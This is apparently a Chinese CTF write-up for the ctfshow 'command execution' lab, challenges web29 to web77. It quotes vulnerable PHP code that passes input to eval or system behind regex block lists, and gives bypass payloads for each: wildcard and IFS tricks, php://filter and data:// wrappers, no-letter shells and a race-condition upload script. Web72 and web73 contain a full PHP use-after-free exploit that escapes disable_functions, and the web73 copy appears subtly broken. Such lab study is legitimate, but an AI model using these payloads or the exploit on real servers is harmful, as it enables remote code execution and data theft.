ctfshow-web入门-命令执行

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web29

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
过滤了 flag

①使用通配符

payload1：?c = system('cat f*');

payload2：?c = system('cat fla/g.php');

②利用eval函数

传入：?c = echo "ss";?>ctf <?php system('ls');

看到有flag文件,payload3：?c = echo "ss";?>ctf <?php include($_GET['url']);&url=php://filter/read=convert.base64-encode/resource=flag.php

web30

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了 命令执行函数

命令执行函数如下

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()

 

①利用反引号

payload1：?c = echo `fl*`;

②同上

payload2：?c = echo "ss";?>ctf <?php include($_GET['url']);&url=php://filter/read=convert.base64-encode/resource=flag.php

web31

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤空格，单引号，cat等

空格绕过

> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
%09

cat绕过

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示，可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl：显示的时候，顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器，这个也可以查看
vim:一种编辑器，这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

 

①

payload1: ?c=echo(tac%90f*);

②双引号替换单引号

payload2: ?c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web32

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

无需括号的函数

echo 666;
print 666;
die;
include "/etc/passwd";
require "/etc/passwd";
include_once "/etc/passwd";
require_once "/etc/passwd";

绕过分号

?>

 

payload：?c=include$_POST[1]?>

1=php://filter/read=convert.base64-encode/resource=flag.php

web33

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了双引号

payload 同32

web34

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了冒号

payload 同32

web35

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了 双引号 < =

payload 同32

web36

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了 反斜杠 和 数字

把数字 1 改成 字母 a

 

payload1：?c=include$_POST[a]?>

a=php://filter/read=convert.base64-encode/resource=flag.php

data://

用法：data://text/plain;base64,

web37

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}
payload：?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgKicpOw==

web38

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}
payload：?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgKicpOw==

web39

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}
payload：?c=data://text/plain,<?php system('cat *');?>

web40

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

这道题和 GXZCTF 的 禁止套娃 类似，同时payload也可以套用

payload：?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

 web41

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

自己没做出来，查了好久找到个wp，

先放个 payload：

c=' ');('%60%60%60%60%60%60'|'%13%19%13%14%05%0d')(('%03%01%14'|'%60%60%60').' *');//

system('cat *')

web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

我们可以 注释符#(%23) 来代替

①payload1：?c=cat fl*;

②payload2：?c=cat fl* %23

web43

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

cat 被过滤 ，查看一下其他的一些查看文件内容的命令

cat     由第一行开始显示档案内容
tac     从最后一行开始显示，可以看出 tac 是 cat 的倒着写
more    一页一页的显示档案内容
less    与 more 类似，但是比 more 更好的是，他可以往前翻页
head    只看头几行
tail    只看尾巴几行
nl      显示的时候，顺道输出 行号
od      以二进制的方式读取档案内容awk     样式扫描和处理文件

另外 分号被过滤 (可是使用 注释符# 或者 管道符 ||)

①使用 cat 以外的命令

payload1：?c=tac f*||

②使用 cat 命令

payload2：?c=c"a"t f*||

web44

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload 同 43

web45

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

空格 被过滤了

空格绕过

> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
%09
payload1：?c=tac%09f*%09||

web46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了 $ （如果前面用 ${IFS} 的话这里就不行了）同时过滤了 *

① * 可以用 ? 来绕过

payload1：?c=tac%09fla??php%09||

payload2：?c=awk%09'/f/'%09fla?.php||

web47

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了几个 文件读取命令 ，但是我们的还能用

payload 同 46

web48

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

没过滤 tac ，还能用

payload 同 46

web49

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了 百分号 ，对我们的影响不大

payload 同 46

web50

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了 %09 和 %26 我们可以用其他来代替

payload：?c=c''a''t<>fl'a'g.php||

web51

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了 tac

payload 同 50

web52

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了 >< 但是 $ 没有被过滤 所以我们能使用 ${IFS}

用 ?c=ls${IFS}-al${IFS}|| 查看文件

payload：?c=ca''t${IFS}/fl''ag||

web53

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}
payload：?c=ca''t${IFS}fl''ag.php%0a%23

web54

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

①此处 grep 未被过滤

grep test *file   #在当前目录中，查找后缀有 file 字样的文件中包含 test 字符串的文件，并打印出该字符串的行

payload1：?c=grep${IFS}%27{%27${IFS}fla??php

②使用通配符绕过

payload2：?c=/bin/ca?${IFS}f???.php%0a%23

web55

// 你们在炫技吗？
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

这题是看大佬的博客的，详情见CTFshow web入门（命令执行）

还有知识点:无字母数字webshell之提高篇

①bin目录：

bin目录主要放置一些系统的必备执行档，如cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
这里我们可以用 base64里的64进行通配符匹配，即 ?c=/bin/base64 flag.php

payload1：?c=/???/????base64%20????.???
②/usr/bin目录：

主要放置一些应用软件工具的必备执行档，如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等
因此我们可以利用/usr/bin下的 bzip2

payload2：?c=/???/???/????2 ????.???

接着访问 url/flag.php.bz2 得到flag

web56

// 你们在炫技吗？
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

过滤的东西变多了

还是看上面 p神的文章，上传一个文件，然后用  .file 来执行文件

exp如下：

import requests
import threading

url = 'http://21fab4a5-7ccf-4cb7-b5d3-b101e5c33634.chall.ctf.show/'
payload = '?c=.+/???/????????[@-[]'


def post():
    files={
        'upload':'#!/bin/sh\necho 1433223\ncat flag.php'
    }
    r=requests.post(url,files=files)

def req():
    r=requests.get(url+payload)
    if '1433223' in r.text:
        print(r.text)    

for i in range(50):
    threading.Thread(target=post,args=()).start()
    threading.Thread(target=req,args=()).start()

web57

// 还能炫的动吗？
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

${_}构成webshell

echo ${_}                        #返回上一次的执行结果
echo $(())                       #执行结果为 0
echo $((~$(())))                 #~0的执行结果为 -1
echo $(($((~$(())))$((~$(()))))) #$((-1-1))结果为-2
echo $((~-37))                   #~37 结果为36
payload：?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58-65

// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
payload1：c=show_source('flag.php');

payload2：POST:c=include($_GET['url']);     GET:?url=php://filter/read=convert.base64-encode/resource=flag.php

web66

// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

前面的无法使用了 ，于是先查看一下根目录的文件

POST:c=var_dump(scandir("/"));
payload：POST:c=highlight_file("/flag.txt");

web67

查看文件的 print_r 无法使用，用 var_dump 代替

POST:c=var_dump(scandir("/"));
payload：POST:c=highlight_file("/flag.txt");

 

web68

highlight_file() 也被禁用，用 include

payload：c=include("/flag.txt");

web69

这里查看文件的 var_dump 也被禁用了，用 var_export

POST:c=var_export(scandir("/"));

同 68

web70

能达到和 highlight_file 相同效果的 ini_set() 和 error_reporting() 无法使用，payload 同68

web71

payload：c=include("/flag.txt");exit();

原理：执行完前面的包含语句后会强制退出，不会执行后面的语句

web72

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

这道题是真的没怎么看懂，看了网上的wp

先查询到flag文件的位置,找到 flag0.txt 文件

c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

exp：附上原链接：CTFshow部分题目writeup

?><?php
pwn("cat /flag0.txt");
function pwn($cmd) {
    global $abc, $helper, $backtrace;
    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # 😉
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }
    class Helper {
        public $a, $b, $c, $d;
    }
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }
        if(!$data_addr || !$text_size || !$data_size)
            return false;
        return [$data_addr, $text_size, $data_size];
    }
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
            return $data_addr + $i * 8;
        }
    }
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
    function my_str_repeat($a,$b){
        $s = '';
        for($i = 0; $i <= $b;$i++){
            $s.=$a;
        }  
        return $s;
    }
    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(my_str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(my_str_repeat('A', 79));
    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];
    $helper = new Helper;
    $helper->b = function ($x) { };
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
    $closure_obj = str2ptr($abc, 0x20);
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
    ($helper->b)($cmd);
    exit();
}
exit();

web73

先用 查询到flagc.txt文件

c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
①payload1：c=include('/flagc.txt');exit(0);

②另外看到一位师傅的exp

<?php

pwn("uname -a");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # 😉
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($ptr & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = my_strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
    function my_str_repeat($a,$b){
        $s = '';
        for($i = 0; $i <= $b;$i++){
            $s.=$a;
        }  
        return $s;
    }
    function my_strlen($a){
        $n = 0;
        for($i = 0; $i <= INF;$i++){
            if($a[$i]!==''){
                $n++;
            }else{
                break;
            }
        }  
        return $n;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(my_str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(my_str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(my_strlen($abc) == 79 || my_strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

web74

?c=include('/flagx.txt');exit(0);

web75

POST传输:c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'');}exit(0);?>

找到 flag36.txt
paylaod:
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e){echo $e->getMessage();exit(0);}exit(0);

web76

POST传输:c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'');}exit(0);?>
得到 flag36d.txt

payload:
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);

web77(FFI)

payload:
c=?><?php $ffi = FFI::cdef("int system(const char *command);");
$ffi->system("/readflag >/var/www/html/1");
exit();

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